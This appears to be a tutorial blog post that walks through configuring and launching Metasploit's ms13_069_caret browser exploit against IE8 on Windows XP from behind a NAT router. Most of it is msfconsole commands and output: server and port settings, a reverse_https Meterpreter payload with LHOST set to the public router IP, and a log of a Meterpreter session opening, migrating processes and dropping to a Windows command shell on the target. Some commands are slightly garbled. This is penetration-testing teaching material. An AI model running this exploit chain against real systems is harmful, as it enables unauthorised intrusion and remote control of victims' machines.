Using Metasploit and Meterpreter with NAT requires a SRVHOST and SRVPORT. These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on.  The plan is to trick the target to connect to this webserver, using the public IP of our firewall/router, which will then forward the traffic to our Metasploit instance.UPDATE: OneHost Cloud no longer uses NAT on our network so this post is only for networks that use NATWe can’t tell the Metasploit webserver to listen to the public IP of our router, because it won’t be able to “bind" itself to that IP address.  If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic.  In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case  ) We recommend your use the internal IP.Next, we need to change the port to 80, and we’ll set the URIPATH to / (so we can predict what the URI will be, instead of letting Metasploit create a random URI):msf exploit(ms13_069_caret) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms13_069_caret) > set URIPATH /
URIPATH => /Next, let’s select the meterpreter reverse_https payload for windows. If we run “show options" again, we’ll see this:msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

Name Current Setting Required Description
—- ————— ——– ———–
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_https):

Name Current Setting Required Description
—- ————— ——– ———–
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The local listener hostname
LPORT 443 yes The local listener port

Exploit target:

Id Name
— —-
0 IE 8 on Windows XP SP3

msf exploit(ms13_069_caret) >The Module options (SRVHOST and SRVPORT) are set the way we want it. The Payload options require an LHOST and LPORT. Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to.  If it was not set to 443 already on your box, simply run “set LPORT 443" to make sure the Meterpreter handler will listen on port 443:msf exploit(ms13_069_caret) > set LPORT 443
LPORT => 443ote: In any case, to keep things as easy as possible, try to use the same ports for a specific “service".  That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker/Metasploit box, and host the exploit on port 80 in Metasploit.  The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere.LHOST serves 2 purposes :

• It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker).
• It tells Metasploit where to bind to when setting up the Meterpreter “handler".

Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST.  When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address.  The port forwarding on our router/firewall will then forward traffic to our LAN IP of the attacker host.  For this reason, we need to set LHOST to 1.1.1.1 (the public IP of your attacker router/firewall)Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler.  Since this IP belongs to the router/firewall and not to the Metasploit instance, this will obviously fail.  The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address.  This is exactly what we need however do not use 0.0.0.0 it is easier to just use the Kali Internal IP from the beginning.msf exploit(ms13_069_caret) > set LHOST  Kali Internal IP )
LHOST =>  ( Kali Internal IP )If we don’t really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the “advanced" options and tell it to listen on the LAN IP address:msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187ReverseListenerBindAddress => 192.168.0.187and then fire up the exploit:msf exploit(ms13_069_caret) > exploit
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.0.187:443/
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.187:80/
[*] Server started.The output shows us that

• http://0.0.0.0:80 (or http://192.168.0.187:80) is hosting the browser exploit. If the target connects to http://1.1.1.1, traffic will be forwarded to the Kali box on port 80 and serve the exploit.
• The HTTPS reverse handler is listening on 192.168.0.187, port 443.

What we don’t see in the output is the fact that the actual Meterpreter shellcode contains IP address 1.1.1.1 to connect back to.� That value is taken from the LHOST variable.If you didn’t use ReverseListenerBindAddress and you get something like the output below after running “exploit", then check the following

1. check that the port is free to use
2. make sure you are running the latest version of Metasploit
3. set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0
4. exit msfconsole and open it again. under certain scenario’s, you’ll notice that the bind doesn’t get properly cleaned up if you ran a session before.

msf exploit(ms13_069_caret) > exploit[*] Exploit running as background job.[-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443).msf exploit(ms13_069_caret) > exploit[*] Exploit running as background job.[-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443).If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router/firewall on port 80, we should see this:msf exploit(ms13_069_caret) > [*] 2.2.2.2 ms13_069_caret – Sending exploit…
[*] 2.2.2.2 ms13_069_caret – Sending exploit…
[*] 2.2.2.2:53893 Request received for /NtFT…
[*] 2.2.2.2:53893 Staging connection for target /NtFT received…
[*] Patched user-agent at offset 663128…
[*] Patched transport at offset 662792…
[*] Patched URL at offset 662856…
[*] Patched Expiration Timeout at offset 663728…
[*] Patched Communication Timeout at offset 663732…
[*] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100
[*] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: iexplore.exe (2952)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 500
[+] Successfully migrated to process

msf exploit(ms13_069_caret) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > shell
Process 592 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingspeterDesktop>